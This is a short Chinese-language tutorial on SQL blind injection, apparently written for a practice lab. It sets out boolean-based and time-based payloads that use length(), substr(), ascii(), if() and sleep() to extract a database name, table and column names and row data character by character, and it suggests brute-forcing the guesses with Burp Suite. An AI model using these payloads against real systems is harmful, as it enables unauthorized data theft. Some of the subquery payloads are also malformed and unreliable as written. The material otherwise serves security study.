布尔类型
页面会根据不同信息返回不同的状态,一般状态分两种,一种是成功的状态,一种是失败的状态。
此时可以通过and查询判断基本信息
如
select * from users where id = '1' and (Length(database()))=8 --'limit 0,1
已知and前语句为true,如果有回显,则证明数据库长度为8
获取数据库长度为8个字符后,可以用substr()与Ascii()构造猜测数据库名
select * from users where id = '1' and (ascii(substr(database(),1,1)))=115 #'limit 0,1
#将database中从首位开始的1个字符通过转换成ascii的形式并判断其是否等于115
由于手工猜解较为耗时,所以可以使用burp suite进行爆破
由于事前已知库长度为8位,所以取8位即可得到库名
同样的,取表名时可以将上述语句进行更改
如
select * from users where id = '1' and (ascii(substr(select table_name from information_schema.tables where table_schema=database(),1,1)))=115 #'limit 0,1
时间类型
时间类型盲注无回显点,但与布尔型盲注类似,用到and查询,同时可以在构造出来的语句中加入sleep函数,并通过回显的事件延迟判断语句是否正确执行,语句主体通过if语句构造。
select * from users where id = '1' and if(ascii(substr(database(),1,1))=110,1,sleep(5)) #'limit 0,1
同布尔型类似,时间型盲注同样可以使用burp suite进行爆破
获取数据表
select * from users where id = '1' and if(ascii(substr(select table_name from information_schema.tables where table_schema=database() limit 0 ,1),1,1))=110,1,sleep(5)) #'limit 0,1
数据表的第一列,也就是第一个字段的信息
select * from users where id = '1' and if(ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0 ,1),1,1))=110,1,sleep(5)) #'limit 0,1
数据表取数据
select * from users where id = '1' and if(ascii(substr(select id from users limit 0 ,1),1,1))=110,1,sleep(5)) #'limit 0,1
盲注要用到的函数
Length() #返回字符串的长度
Substr() #截取字符串
Ascii() #返回字符串的ASCII码
sleep(x) #将程序执行延迟x秒
if(exp1,exp2,exp3) #若exp1为真,执行exp2,否则执行exp3